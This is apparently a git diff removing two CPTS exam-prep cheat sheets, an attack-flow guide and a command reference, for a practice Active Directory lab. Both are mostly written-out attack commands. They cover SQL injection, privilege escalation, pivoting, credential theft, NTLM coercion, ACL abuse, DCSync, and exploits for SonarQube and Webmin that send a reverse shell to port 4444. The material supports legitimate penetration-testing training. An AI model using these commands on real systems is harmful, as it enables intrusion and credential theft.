-## // FIRST_30_MINUTES (do this before anything else) - -> [!example]+ `> OPENING MOVES` -> 1. **Connect + confirm scope.** Connect the exam VPN, read the assessment letter: how many flags, in-scope IP ranges/domains, and any **given credentials** (assume-breach). Note the flag count as your progress bar. -> 2. **Set up your workspace + trackers.** These three files win the exam: -> ```bash -> mkdir -p ~/cpts/{recon,loot,scans,exploits,screenshots} -> cd ~/cpts -> : > creds.md # user : pass/hash : where found : what it unlocks -> : > hosts.md # ip : hostname : os : role : how owned : flag? -> : > pivot.md # interface : subnet reachable : via which host -> ``` -> 3. **Kick off long scans in the background, work manually in the foreground.** -> ```bash -> export IP=<entry_host> -> nmap -p- --min-rate 5000 -oA scans/allports $IP & # full TCP (background) -> sudo nmap -sU --top-ports 100 -oA scans/udp $IP & # UDP top (background) -> ``` -> 4. **Fingerprint the open ports** as soon as the fast scan returns, then start on web/given-cred services while the full scan finishes: -> ```bash -> nmap -p <open,ports> -sCV -oA scans/services $IP -> ``` -> 5. **If given a domain name / creds**, validate them straight away and jump to enumeration (SMB/LDAP/BloodHound). If given only an IP, the foothold is almost always **web**. - -> [!warning] Don't rabbit-hole. Set a soft timer (~30-45 min) per avenue. If a service isn't giving, note it in `hosts.md` and move on. Come back with new creds. - ---- - -## // TRIAGE — WHAT TO ATTACK FIRST - -> [!tip]+ `> PRIORITY ORDER` when a scan reveals many hosts/ports -> 1. **Given credentials** (assume-breach) — validate over SMB/WinRM/SSH first, they open the fastest path. -> 2. **Web apps on the entry host** — most CPTS footholds are a web bug (SQLi, upload, LFI, known-CMS RCE). -> 3. **Known-vulnerable software by version** — SonarQube, Webmin, Anuko, Jenkins, GitLab, Tomcat, Confluence. Version → searchsploit → PoC. -> 4. **File services for loot** — SMB/NFS/FTP shares, backups, deploy scripts, config `.bak` files. -> 5. **The DC** — enumerate early (BloodHound) but you usually *exploit* it last, after the ACL chain. -> 6. **Brute force** — last resort, run in the background, never block on it. - -> [!info] **Rule of thumb:** enumeration first, exploitation second. Every foothold in this engagement came from *reading something* (a dump, a note, a script, a vault), not from a flashy exploit. - ---- - -## // NETWORK_MAP (example) - -<figure class="flow plate corners"> -<figcaption class="flow__cap"><span class="flow__kind">Engagement network map</span><span class="flow__dir">LR</span></figcaption> -<div class="flow__body"> -<div class="flow__diagram" data-dir="lr"> -<div class="flow-rank"><div class="flow-node is-entry">KALI<span class="sub">10.10.14.x</span></div></div> -<div class="flow-edge"><span class="flow-edge__label">exploit</span></div> -<div class="flow-rank"><div class="flow-node">WEB-DMZ01<span class="sub">(public)</span></div></div> -<div class="flow-edge"><span class="flow-edge__label">ligolo tun</span></div> -<div class="flow-rank"><div class="flow-node">172.16.139.0/24<span class="sub">DC01 · SRV01</span></div></div> -<div class="flow-edge"><span class="flow-edge__label">ligolo double</span></div> -<div class="flow-rank"><div class="flow-node">172.16.210.0/24<span class="sub">DC02 · DEV01 · MGMT01</span></div></div> -</div> -</div> -</figure> - ---- - -## // MASTER_FLOW - -<figure class="flow plate corners"> -<figcaption class="flow__cap"><span class="flow__kind">Master engagement flow</span><span class="flow__dir">TD</span></figcaption> -<div class="flow__body"> -<div class="flow__diagram" data-dir="td"> -<div class="flow-rank"><div class="flow-node is-entry">1. EXTERNAL RECON<span class="sub">AXFR + vhost fuzz</span></div></div> -<div class="flow-edge"></div> -<div class="flow-rank"><div class="flow-node">2. WEB FOOTHOLD<span class="sub">SQLi -&gt; creds -&gt; shell</span></div></div> -<div class="flow-edge"></div> -<div class="flow-rank"><div class="flow-node">3. LINUX PRIVESC<span class="sub">uftpd traversal + sudo GTFObin</span></div></div> -<div class="flow-edge"></div> -<div class="flow-rank"><div class="flow-node">4. PIVOT (Ligolo)<span class="sub">ping sweep + route add</span></div></div> -<div class="flow-edge"></div> -<div class="flow-rank"><div class="flow-node">5. LOOT PIVOT HOSTS<span class="sub">NFS scripts / notes / hashes</span></div></div> -<div class="flow-edge"></div> -<div class="flow-rank"><div class="flow-node">6. AD FOOTHOLD<span class="sub">LaZagne/Inveigh -&gt; first domain user</span></div></div> -<div class="flow-edge"></div> -<div class="flow-rank"><div class="flow-node">7. ACL CHAIN (BloodHound)<span class="sub">ForceChangePW -&gt; GenericWrite -&gt; Kerberoast</span></div></div> -<div class="flow-edge"></div> -<div class="flow-rank"><div class="flow-node">8. SHARE LOOT<span class="sub">AxCrypt / OneNote / vault -&gt; svc creds</span></div></div> -<div class="flow-edge"></div> -<div class="flow-rank"><div class="flow-node is-goal">9. DCSYNC<span class="sub">Account Operators -&gt; Exchange TS -&gt; DA</span></div></div> -<div class="flow-edge"></div> -<div class="flow-rank"><div class="flow-node">10. FOREST TRUST<span class="sub">gMSA read -&gt; svc account</span></div></div> -<div class="flow-edge"></div> -<div class="flow-rank"><div class="flow-node">11. DEV APPS<span class="sub">SonarQube / Anuko / Webmin -&gt; root</span></div></div> -</div> -</div> -</figure> - ---- - -## // PHASE_1 — EXTERNAL RECON - -> [!info] **Look for:** the internal domain name, a permissive nameserver (zone transfer), virtual hosts, staging/self-service portals. - -> [!terminal]+ Enumerate -> ```bash -> # zone transfer against the internal NS — instantly maps subdomains -> dig axfr trilocor.local @$IP -> # vhost brute if AXFR is refused -> wfuzz -u http://$IP -H "Host: FUZZ.trilocor.local" -w /usr/share/seclists/Discovery/DNS/services-names.txt --hl <baseline> -> # add every discovered vhost to /etc/hosts -> echo "$IP trilocor.local blog.trilocor.local dev.trilocor.local selfservicestg.trilocor.local ..." | sudo tee -a /etc/hosts -> ``` - -> [!tip] AXFR exposed `blog/dev/jobs/nms/selfservicestg/hrportal/shop/admin` — the staging self-service portal is where the first bug lived. Fuzz all vhosts, prioritise staging/dev/self-service. - ---- - -## // PHASE_2 — WEB FOOTHOLD - -> [!info] **Look for:** injectable parameters (password-reset email fields, search), forms that talk to a DB. Mark the injection point with `*` for sqlmap. - -> [!terminal]+ Test -> ```bash -> # capture the POST in Burp, put * on the target param, save as email_post.req -> # email=* -> sqlmap -r email_post.req --batch --risk=3 --level=5 --threads 10 --dbs --dump -> # -> dumped employees table (usernames + md5). Crack on crackstation / hashcat -m 0 -> ``` -> Cracked DB creds became the reuse pool for the whole engagement. **Keep a running users/passwords list.** - ---- - -## // PHASE_3 — LINUX PRIVESC (DMZ host) - -> [!info] **Look for (linPEAS):** non-standard services (FTP on 2121 as a service user), anonymous login, path traversal, `sudo -l` NOPASSWD binaries, SSH keys. - -> [!terminal]+ Enumerate + test -> ```bash -> ./linpeas.sh # find uftpd on 2121 running as srvadm -> # stabilise the shell before interactive tools -> python3 -c 'import pty; pty.spawn("/bin/bash")' # then Ctrl+Z; stty raw -echo; fg; export TERM=xterm -> ftp 127.0.0.1 2121 # anonymous, then path traversal: -> # ls ../../../../home/srvadm ; get ../../../../home/srvadm/.ssh/id_rsa -> chmod 600 srvadm_id_rsa && ssh -i srvadm_id_rsa srvadm@localhost -> sudo -l # (ALL) NOPASSWD: /usr/bin/csvtool -> sudo csvtool call '/bin/sh;false' /etc/passwd # GTFOBins -> root -> # PERSISTENCE: copy /root/.ssh/id_rsa off the box before pivoting -> ``` - ---- - -## // PHASE_4 — PIVOT (Ligolo-ng) - -> [!info] **Look for:** internal subnets you can only reach through the compromised host. Set up the tunnel, ping-sweep, add routes. Repeat for each hop (double pivot). - -> [!terminal]+ Set up + sweep -> ```bash -> # Kali side (first tunnel) -> sudo ip tuntap add user kali mode tun ligolo && sudo ip link set ligolo up -> ./proxy -selfcert -> # on the compromised host -> ./agent -connect $LHOST:11601 -ignore-cert -> # back on Kali: session > start_tunnel, then route the internal subnet -> sudo ip route add 172.16.139.0/24 dev ligolo -> # DOUBLE PIVOT to the next subnet: new interface + route -> sudo ip tuntap add user kali mode tun ligolo-double && sudo ip link set ligolo-double up -> sudo ip route add 172.16.210.0/24 dev ligolo-double -> # host discovery inside a subnet -> for ip in $(seq 1 254); do ping -c1 -W1 172.16.139.$ip | grep "bytes from" | cut -d" " -f4 | tr -d ':'; done -> ``` - -> [!tip] Ligolo was used ~17 times in this engagement. Alternatives: SSH dynamic forward (`-D`), chisel reverse SOCKS, socat. Keep a diagram of which route reaches which subnet. - ---- - -## // PHASE_5 — LOOT THE PIVOT HOSTS - -> [!info] **Look for:** NFS exports, setup/deploy scripts with hardcoded creds, SAM/SYSTEM dumps, cleartext creds via LaZagne. - -> [!terminal]+ -> ```bash -> showmount -e 172.16.139.35 # /SRV01 exported -> mkdir SRV01 && sudo mount -t nfs 172.16.139.35:/SRV01 SRV01 -> grep -ri "password\|jdbc\|secret" SRV01/ # liferay setup.py -> jdbc.default.password -> # on a Windows pivot host with local admin: -> secretsdump.py -sam SAM -system SYSTEM LOCAL # local hashes -> .\LaZagne.exe all # cleartext creds (found bvincent) -> ``` - ---- - -## // PHASE_6 — AD FOOTHOLD - -> [!info] **Look for:** a first valid domain user (from LaZagne/loot), then coax hashes from privileged users via writable shares. - -> [!terminal]+ Validate + capture -> ```bash -> echo 'PL<mko09ijn!' > bvincent.pass -> nxc smb 172.16.139.3 -u bvincent -p bvincent.pass --shares # write access to Print_queue -> # collect BloodHound: SharpHound on a domain-joined host (disable Defender first) -> # .\SharpHound.exe -c all -> # NTLMv2 coercion via a malicious .lnk dropped in the writable share, + Inveigh listener: -> # $lnk=(New-Object -ComObject WScript.Shell).CreateShortcut("C:\...\link.lnk") -> # $lnk.IconLocation="\\SRV01\@test.png"; $lnk.Save() -> copy into Print_queue -> # Import-Module .\Inveigh.ps1 (captures NTLMv2 when DC browses the share) -> hashcat -m 5600 phernandez.hash /usr/share/wordlists/rockyou.txt -> ``` - -> [!tip] Also seen for local escalation to reach a domain user: **Remote Mouse CVE-2021-35448** (LPE via Image Transfer Folder → SYSTEM cmd), `net localgroup Administrators <user> /add` + re-login + PsExec. - ---- - -## // PHASE_7 — THE ACL CHAIN (BloodHound) - -> [!info] **This is the exam's core.** Own each account, mark it owned, read **Outbound Object Control**, abuse the edge, get the next account, repeat. The trilocor chain: - -<figure class="flow plate corners"> -<figcaption class="flow__cap"><span class="flow__kind">BloodHound ACL chain</span><span class="flow__dir">TD</span></figcaption> -<div class="flow__body"> -<div class="flow__diagram" data-dir="td"> -<div class="flow-rank"><div class="flow-node is-entry">phernandez<span class="sub">(cracked)</span></div></div> -<div class="flow-edge"><span class="flow-edge__label">HelpDesk TierIII<br/>AllExtendedRights</span></div> -<div class="flow-rank"><div class="flow-node">reset ghiggins</div></div> -<div class="flow-edge"><span class="flow-edge__label">IT Support Mgrs<br/>GenericWrite</span></div> -<div class="flow-rank"><div class="flow-node">add self to Contractors</div></div> -<div class="flow-edge"><span class="flow-edge__label">Contractors<br/>GenericWrite over user</span></div> -<div class="flow-rank"><div class="flow-node">set SPN on divanov<span class="sub">targeted Kerberoast</span></div></div> -<div class="flow-edge"><span class="flow-edge__label">crack TGS</span></div> -<div class="flow-rank"><div class="flow-node">divanov</div></div> -<div class="flow-edge"><span class="flow-edge__label">share loot</span></div> -<div class="flow-rank"><div class="flow-node">svc_trilocoradm<span class="sub">(AxCrypt/OneNote)</span></div></div> -<div class="flow-edge"><span class="flow-edge__label">Account Operators<br/>+ Exchange Trusted Subsystem</span></div> -<div class="flow-rank"><div class="flow-node is-goal">DCSync -&gt; DA</div></div> -</div> -</div> -</figure> - -> [!terminal]+ The abuse commands (bloodyAD + targetedKerberoast) -> ```bash -> # AllExtendedRights / ForceChangePassword -> reset target -> bloodyAD --host $DC -d ad.trilocor.local -u phernandez -p bLink182 set password ghiggins Test@123 -> # GenericWrite over a group -> add self, inherit rights -> bloodyAD -d ad.trilocor.local --host $DC -u ghiggins -p Test@123 add groupMember 'CONTRACTORS' ghiggins -> # GenericWrite over a user -> set SPN -> targeted kerberoast -> bloodyAD --host $DC -d ad.trilocor.local -u ghiggins -p Test@123 set object divanov servicePrincipalName -v 'any/SPN' -> sudo ntpdate 172.16.139.3 # fix skew first -> python3 targetedKerberoast.py -v -d ad.trilocor.local -u ghiggins -p Test@123 --dc-ip $DC --request-user divanov -> hashcat -m 13100 divanov.hash /usr/share/wordlists/rockyou.txt -> # map what any account can write -> bloodyAD --host $DC -d ad.trilocor.local -u divanov -p Dimitris2001 get writable --detail -> ``` - -> [!tip] Also useful: **deleted-user password reuse** — a deleted account's `description` held a password that still worked on the live `_adm` twin (`fjenkins_test` → `fjenkins_adm`). - ---- - -## // PHASE_8 — SHARE LOOT → SERVICE CREDS - -> [!info] **Look for:** as soon as you gain a share-admin group, spider every share for backups, credential files, encrypted vaults. - -> [!terminal]+ -> ```bash -> nxc smb $DC -u fjenkins_adm -p 'fJ#nk!n$$@123' --shares -> nxc smb $DC -u fjenkins_adm -p 'fJ#nk!n$$@123' --spider 'Department Shares' --regex . -> smbclient "//$DC/Department Shares/" -U 'fjenkins_adm' # pull the .axx / .one files -> # AxCrypt backup: -> axcrypt2john Trilocor_backup.axx > backup.hash && john backup.hash --wordlist=rockyou.txt -> # OneNote credential file: -> office2john "Creds.one" > onenote.hash && john onenote.hash --wordlist=rockyou.txt -> # -> svc_trilocoradm / svc_adconnect / svc_bakops creds -> ``` - ---- - -## // PHASE_9 — DCSYNC → DOMAIN ADMIN - -> [!terminal]+ -> ```bash -> # Account Operators -> add self to a group that HAS DCSync (Exchange Trusted Subsystem) -> bloodyAD -d ad.trilocor.local --host $DC -u svc_trilocoradm -p 'SvC_TR!l0cORAdm!23' \ -> add groupMember 'EXCHANGE TRUSTED SUBSYSTEM' svc_trilocoradm -> # confirm in BloodHound: "Find Principals with DCSync Rights" -> impacket-secretsdump 'trilocor.local/svc_trilocoradm:SvC_TR!l0cORAdm!23@'$DC | tee dcsync.txt -> nxc winrm $DC -u administrator -H <admin_NT> # DA -> xfreerdp /v:$DC /u:administrator /pth:<admin_NT> /cert:ignore /dynamic-resolution -> ``` - ---- - -## // PHASE_10 — FOREST TRUST → SECOND DOMAIN - -> [!info] **Look for:** `Get-DomainTrust` output, a foothold user in the other domain, ReadGMSAPassword edges. - -> [!terminal]+ -> ```bash -> Get-DomainTrust # bidirectional / within-forest -> echo "172.16.210.5 mgmt.trilocorvendor.local DC02.mgmt.trilocorvendor.local" | sudo tee -a /etc/hosts -> bloodhound-python -u mvargas_adm -p 'admin!@#' -d mgmt.trilocorvendor.local -ns 172.16.210.3 -c all --zip -> # ReadGMSAPassword -> dump gMSA -> python3 gMSADumper.py -u mvargas_adm -p 'admin!@#' -d mgmt.trilocorvendor.local -l 172.16.210.5 -> evil-winrm -i 172.16.210.5 -u 'svc_triconnect$' -H <gmsa_NT> -> # local privesc: weak service perms -> hijack binPath -> sc.exe config VMTools binPath= "cmd /c net localgroup Administrators svc_triconnect$ /add" -> sc.exe stop VMTools && sc.exe start VMTools -> impacket-secretsdump 'mgmt.trilocorvendor.local/svc_triconnect$@172.16.210.5' -hashes :<gmsa_NT> -> # loot: vault.yml (Ansible Vault) -> ansible2john + john -> svc_ansible creds -> ansible2john ansible-password.yml > a.hash && john a.hash -w=rockyou.txt -> cat ansible-password.yml | ansible-vault decrypt -> ``` - ---- - -## // PHASE_11 — DEV-APPS SUBNET - -> [!info] **Look for:** dev/CI web apps on odd ports (SonarQube 9000, Webmin 10000, Anuko), `.bak` config files with admin creds, LaZagne LSA secrets bridging app logins. - -> [!terminal]+ SonarQube 7.8 (9000) → SYSTEM -> ```bash -> # creds from sonar.properties.bak -> log in admin -> version 7.8 is exploitable -> git clone https://github.com/braindead-sec/pwnrqube && cd pwnrqube/totally-benign-plugin -> # edit src/main/java/benign.java revshell to a PowerShell payload to your pivot:4444 -> mvn clean package -> curl --user admin:<pw> -X POST -F file=@target/totally-benign-plugin-1.0.jar http://172.16.210.21:9000/api/updatecenter/upload -> curl --user admin:<pw> -X POST http://172.16.210.21:9000/api/system/restart # triggers SYSTEM revshell -> ``` - -> [!terminal]+ Anuko Time Tracker (.34) → creds, Webmin (10000) → root -> ```bash -> # Anuko admin via LaZagne DefaultPassword -> create group+user -> enable Puncher plugin -> # CVE-2022-24707 SQLi: -> python3 Anuko-SQL-Exploit.py --username tester --password <pw> --host http://172.16.210.34 \ -> --sqli "SELECT GROUP_CONCAT(login,password) FROM tt_users" # dump -> crack svc_webmin -> # Webmin 1.996 CVE-2022-30708 -> root -> git clone https://github.com/esp0xdeadbeef/rce_webmin && cd rce_webmin -> python3 exploit.py --url http://172.16.210.34:10000 -pw <pw> -un svc_webmin -rh 172.16.210.3 -rp 4444 -> ``` - ---- - -## // PER-HOST PLAYBOOK (run on EVERY machine) - -The same routine on every host you meet. **Discover → foothold → post-shell → loot → escalate → pivot.** - -### `> A. ON DISCOVERY (before a shell)` - -> [!terminal]+ Scan + fingerprint every new IP -> ```bash -> export IP=<new_host> -> nmap -p- --min-rate 5000 -oA scans/$IP-all $IP -> nmap -p <open> -sCV -oA scans/$IP-svc $IP -> # web? -> vhost fuzz + dirs + version-check every port that speaks HTTP -> whatweb http://$IP:PORT ; curl -sI http://$IP:PORT -> feroxbuster -u http://$IP:PORT -x php,aspx,html -> # windows/AD? -> quick creds + shares check with anything you have -> nxc smb $IP ; nxc smb $IP -u user -p pass --shares --users -> ``` -> **Look for:** given-cred services, web bugs, known-vuln versions, readable shares. Record the host in `hosts.md`. - -### `> B. AFTER A SHELL — LINUX` - -> [!terminal]+ First commands, then loot -> ```bash -> id; hostname; ip a; sudo -l # sudo -l FIRST (instant wins) -> # stabilise shell -> python3 -c 'import pty; pty.spawn("/bin/bash")' # Ctrl+Z; stty raw -echo; fg; export TERM=xterm -> ./linpeas.sh | tee loot/$IP-linpeas.txt -> find / -perm -u=s -type f 2>/dev/null # SUID -> GTFOBins -> cat /etc/crontab; ls -la /etc/cron.* -> ls -la ~/.ssh /root/.ssh /home/*/.ssh 2>/dev/null # keys -> cat ~/.bash_history; env # tokens, hardcoded creds -> grep -rEi "password|secret|jdbc|api[_-]?key" /var/www /opt /home /srv 2>/dev/null -> ``` -> **Then:** grab any SSH key for persistence, note new creds, and check reachable subnets (`ip route`, `ip a`) — this host may be your next pivot. - -### `> C. AFTER A SHELL — WINDOWS` - -> [!terminal]+ First commands, then loot -> ```powershell -> whoami /all # groups AND privileges (SeImpersonate/SeDebug/SeBackup) -> systeminfo; ipconfig /all; route print # note extra NICs -> pivot subnets -> net user %username% /domain; net localgroup administrators -> cmdkey /list # stored creds -> # loot -> .\winPEASx64.exe | Out-File loot\winpeas.txt -> .\LaZagne.exe all # cleartext creds / LSA / browsers -> dir -recurse C:\ *.kdbx,*.axx,*.one,*.config,*.bak,*vault*,*.ps1 2>$null | select fullname -> dir -recurse C:\ *.txt | select-string -pattern "password" -> ``` -> **Then:** if domain-joined, run SharpHound (disable Defender via GUI/`Set-MpPreference` first), and re-check ADCS/ACLs from this host's context. - -### `> D. ESCALATE (pick the lever)` - -> [!tip]+ -> - **Linux:** `sudo -l` binary (GTFOBins), SUID, cron, writable service, kernel/app CVE. -> - **Windows local:** `SeImpersonate` (Potato), `SeDebug`, weak **service perms** (`sc.exe config binPath`), unquoted path, known-app LPE (e.g. Remote Mouse CVE-2021-35448). -> - **Windows domain:** BloodHound outbound control → ACL abuse (see Phase 7) → DCSync. - -### `> E. PIVOT + PERSIST (before you leave)` - -> [!warning]+ -> - Copy off any **SSH key / hash / cleartext cred** and log it. -> - Add this host as a **Ligolo agent** if it reaches a new subnet, then `ip route add`. -> - Set persistence (SSH key in `authorized_keys`, or an added local admin) in case of lab reset. -> - Grab the **flag** and record its exact path in `hosts.md`. - ---- - -## // PER-SUBNET PLAYBOOK (each time you pivot) - -> [!terminal]+ When a new subnet becomes reachable -> ```bash -> sudo ip route add <new_subnet>/24 dev ligolo # or ligolo-double -> # host discovery through the tunnel -> for ip in $(seq 1 254); do ping -c1 -W1 <net>.$ip | grep "bytes from" | cut -d" " -f4 | tr -d ':'; done -> # scan each live host (proxychains if not routed via ligolo) -> nmap -sn <new_subnet>/24 ; nmap -p- --min-rate 3000 <live_host> -> # find + name the DC -> nxc smb <live_host> --generate-hosts-file /etc/hosts -> # re-run BloodHound from this vantage with any creds you hold -> bloodhound-python -u user -p pass -d <domain> -ns <dc_ip> -c all --zip -> ``` -> **Look for:** a new DC (new domain/forest), dev-app ports (9000/10000/8080/8443/50000), file shares, and any host that bridges to yet another subnet. Update `pivot.md`. - ---- - -## // EXAM_CHECKLIST - -> [!todo]+ Don't lose points -> - [ ] Screenshot every step + **note every flag location** (path + how obtained). -> - [ ] Keep a **credential log** (user : pass/hash : where found : what it unlocks). -> - [ ] Keep a **route/pivot map** (which interface reaches which subnet). -> - [ ] Set **persistence** (SSH key / added admin) before risky steps. -> - [ ] `ntpdate` before Kerberos; re-run BloodHound per new principal. -> - [ ] Re-check writable shares and `get writable --detail` at each new AD user. -> - [ ] Enumerate odd ports (9000/10000/8080/2121) — dev apps hold flags. - ---- - -## // REFERENCES - -> [!info]+ -> Source: **CPTS Writeup by Red Block** (trilocor.local). Tooling: bloodyAD, targetedKerberoast, Ligolo-ng, Inveigh, gMSADumper, LaZagne, Impacket, NetExec, certipy. Companion notes: [CPTS-Exam-Most-Used-Commands](/sheets/pentest-workflow/cpts-exam-most-used-commands) · [Attack-Flow-Guide](/sheets/pentest-workflow/attack-flow-guide) · [Most-Used-Commands](/sheets/pentest-workflow/most-used-commands). - ---- - -#Methodology #CPTS-Prep #CPTS-Exam #AD #Pivoting #Workflow #HTB diff --git a/src/content/sheets/pentest-workflow/cpts-exam-most-used-commands.md b/src/content/sheets/pentest-workflow/cpts-exam-most-used-commands.md @@ -1,269 +0,0 @@ ---- -title: "CPTS Exam Most Used Commands" -description: "CPTS companion guide: CPTS Exam Most Used Commands — copy-ready methodology and commands." -category: pentest-workflow -subcategory: "Companion Guides" -order: 22 -tags: ["command-reference", "cheatsheet", "cpts-prep", "cpts-exam", "ad", "pivoting", "cpts", "pentest-workflow"] -tools: [] -difficulty: intermediate -updated: "2026-07-18" -source: "vault:Pentest Attack Flow/Companion Guides/CPTS-Exam-Most-Used-Commands.md" ---- ---- - -> [!abstract] `> ABOUT_THIS_NOTE` -> Command reference distilled from the **Red Block CPTS writeup** (trilocor.local), ordered in the sequence you'll actually use them across a segmented exam network. Pairs with **[CPTS-Exam-Attack-Flow](/sheets/pentest-workflow/cpts-exam-attack-flow)**. Set these first: -> ```bash -> export IP= # current target -> export DC=172.16.139.3 # domain controller -> export DOMAIN=ad.trilocor.local -> export LHOST=10.10.14.x # or your pivot IP for internal callbacks -> ``` - ---- - -## // 1 · EXTERNAL RECON - -> [!terminal]+ DNS + vhosts -> ```bash -> dig axfr trilocor.local @$IP # zone transfer (maps subdomains) -> dig +noall +answer @$IP -x $IP # reverse -> domain -> wfuzz -u http://$IP -H "Host: FUZZ.trilocor.local" -w /usr/share/seclists/Discovery/DNS/services-names.txt --hl <baseline> -> ffuf -u http://$IP -H "Host: FUZZ.trilocor.local" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac -> echo "$IP trilocor.local blog.trilocor.local dev.trilocor.local selfservicestg.trilocor.local" | sudo tee -a /etc/hosts -> ``` - ---- - -## // 2 · WEB EXPLOITATION - -> [!terminal]+ SQL injection (mark param with `*` in the saved request) -> ```bash -> sqlmap -r email_post.req --batch --risk=3 --level=5 --threads 10 --dbs --dump -> sqlmap -r req.txt --batch -D status -T employees --dump -> # crack md5: hashcat -m 0 hashes rockyou.txt (or crackstation.net) -> ``` - ---- - -## // 3 · LINUX PRIVESC (foothold host) - -> [!terminal]+ -> ```bash -> ./linpeas.sh -> # stable shell for interactive tools (ftp/ssh/sudo/editors) -> python3 -c 'import pty; pty.spawn("/bin/bash")' # Ctrl+Z; stty raw -echo; fg; export TERM=xterm -> # FTP on a non-standard port, anonymous + path traversal -> ftp 127.0.0.1 2121 # ls ../../../../home/<user> ; get .ssh/id_rsa -> chmod 600 id_rsa && ssh -i id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null user@localhost -> sudo -l # look for NOPASSWD binaries -> GTFOBins -> sudo csvtool call '/bin/sh;false' /etc/passwd # example GTFOBins root shell -> # PERSISTENCE -> cat /root/.ssh/id_rsa # save it off-box -> ``` - ---- - -## // 4 · PIVOTING (Ligolo-ng) - -> [!terminal]+ -> ```bash -> # Kali -> sudo ip tuntap add user kali mode tun ligolo && sudo ip link set ligolo up -> ./proxy -selfcert -> # target -> ./agent -connect $LHOST:11601 -ignore-cert -> # Kali: (in proxy) session -> start ; then route the subnet -> sudo ip route add 172.16.139.0/24 dev ligolo -> # DOUBLE PIVOT -> sudo ip tuntap add user kali mode tun ligolo-double && sudo ip link set ligolo-double up -> sudo ip route add 172.16.210.0/24 dev ligolo-double -> # host discovery -> for ip in $(seq 1 254); do ping -c1 -W1 172.16.139.$ip | grep "bytes from" | cut -d" " -f4 | tr -d ':'; done -> ``` -> Alternatives: `ssh -D 1080` + proxychains, chisel reverse SOCKS, socat. - ---- - -## // 5 · LOOT / CREDS FROM HOSTS - -> [!terminal]+ -> ```bash -> showmount -e 172.16.139.35 # NFS exports -> sudo mount -t nfs 172.16.139.35:/SRV01 SRV01 -> grep -ri "password\|jdbc\|secret\|apikey" SRV01/ # hardcoded creds in setup/deploy scripts -> secretsdump.py -sam SAM -system SYSTEM LOCAL # local hashes from registry hives -> .\LaZagne.exe all # cleartext creds (browsers, LSA, apps) -> ``` - ---- - -## // 6 · NTLMv2 COERCION (writable share) - -> [!terminal]+ malicious .lnk + Inveigh -> ```powershell -> $lnk = (New-Object -ComObject WScript.Shell).CreateShortcut("C:\Users\me\link.lnk") -> $lnk.TargetPath = "\\SRV01\@x.png"; $lnk.IconLocation = "\\SRV01\@x.png"; $lnk.Save() -> Import-Module .\Inveigh.ps1 # listener; drop link.lnk into the writable share on the DC -> ``` -> ```bash -> hashcat -m 5600 captured.hash /usr/share/wordlists/rockyou.txt -> ``` - ---- - -## // 7 · AD ENUMERATION - -> [!terminal]+ -> ```bash -> echo 'Pass!' > u.pass ; nxc smb $DC -u user -p u.pass # validate -> nxc smb $DC -u user -p pass --shares --users --spider 'Department Shares' --regex . -> ldapsearch -x -H ldap://$DC -D "user@$DOMAIN" -w "pass" -b "DC=ad,DC=trilocor,DC=local" -> bloodhound-python -u user -p pass -d $DOMAIN -ns $DC -c all --zip # or SharpHound.exe -c all -> # PowerView ACL check for a specific user -> $sid = Convert-NameToSid divanov ; Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid} -> ``` - ---- - -## // 8 · AD ACL ABUSE (bloodyAD) - -> [!terminal]+ -> ```bash -> # ForceChangePassword / AllExtendedRights -> reset -> bloodyAD --host $DC -d $DOMAIN -u me -p pw set password target NewP@ss123 -> # GenericWrite over group -> add self -> bloodyAD -d $DOMAIN --host $DC -u me -p pw add groupMember 'GROUP NAME' me -> # GenericWrite over user -> set SPN (for kerberoast) -> bloodyAD --host $DC -d $DOMAIN -u me -p pw set object target servicePrincipalName -v 'any/SPN' -> # what can this account write? -> bloodyAD --host $DC -d $DOMAIN -u me -p pw get writable --detail -> ``` - ---- - -## // 9 · KERBEROASTING - -> [!terminal]+ -> ```bash -> sudo ntpdate $DC # ALWAYS first (clock skew) -> python3 targetedKerberoast.py -v -d $DOMAIN -u me -p pw --dc-ip $DC --request-user target -> impacket-GetUserSPNs -request -dc-ip $DC "$DOMAIN/me:pw" -outputfile kerb.hash -> hashcat -m 13100 target.hash /usr/share/wordlists/rockyou.txt -> ``` - ---- - -## // 10 · CRACKING VAULTS / OFFICE / BACKUPS - -> [!terminal]+ `*2john` extractors -> ```bash -> axcrypt2john backup.axx > backup.hash && john backup.hash --wordlist=rockyou.txt # AxCrypt -> office2john "Creds.one" > onenote.hash && john onenote.hash --wordlist=rockyou.txt # OneNote / Office -> ansible2john vault.yml > vault.hash && john vault.hash -w=rockyou.txt # Ansible Vault -> ssh2john id_rsa > key.hash && john key.hash --wordlist=rockyou.txt # encrypted SSH key -> keepass2john db.kdbx > kp.hash && hashcat -m 13400 kp.hash rockyou.txt # KeePass -> # decrypt an ansible vault once cracked -> cat vault.yml | ansible-vault decrypt -> ``` - ---- - -## // 11 · DCSYNC → DOMAIN ADMIN - -> [!terminal]+ -> ```bash -> # add self to a group with DCSync rights (e.g. Exchange Trusted Subsystem via Account Operators) -> bloodyAD -d $DOMAIN --host $DC -u svc_x -p 'pw' add groupMember 'EXCHANGE TRUSTED SUBSYSTEM' svc_x -> impacket-secretsdump "$DOMAIN/svc_x:pw@$DC" | tee dcsync.txt -> nxc winrm $DC -u administrator -H <admin_NT> -> xfreerdp /v:$DC /u:administrator /pth:<admin_NT> /cert:ignore /dynamic-resolution -> nxc smb $DC -u administrator -H <admin_NT> -M rdp -o ACTION=enable # turn on RDP -> ``` - ---- - -## // 12 · SHELLS / PtH / RDP - -> [!terminal]+ -> ```bash -> evil-winrm -i $IP -u user -p pass -> evil-winrm -i $IP -u user -H <NThash> # pass-the-hash -> evil-winrm -i $IP -u 'svc_gmsa$' -H <gmsa_NT> -> xfreerdp /u:'user' /p:'pass' /v:$IP /cert:ignore /dynamic-resolution -> impacket-secretsdump "$DOMAIN/user@$IP" -hashes :<NT> -> ``` - ---- - -## // 13 · FOREST TRUST + gMSA - -> [!terminal]+ -> ```bash -> Get-DomainTrust # from a shell on the first DA -> echo "172.16.210.5 mgmt.trilocorvendor.local DC02.mgmt.trilocorvendor.local" | sudo tee -a /etc/hosts -> bloodhound-python -u mvargas_adm -p 'admin!@#' -d mgmt.trilocorvendor.local -ns 172.16.210.3 -c all --zip -> python3 gMSADumper.py -u mvargas_adm -p 'admin!@#' -d mgmt.trilocorvendor.local -l 172.16.210.5 # ReadGMSAPassword -> ``` - ---- - -## // 14 · WINDOWS LOCAL PRIVESC (services) - -> [!terminal]+ -> ```powershell -> upload winPEASx64.exe 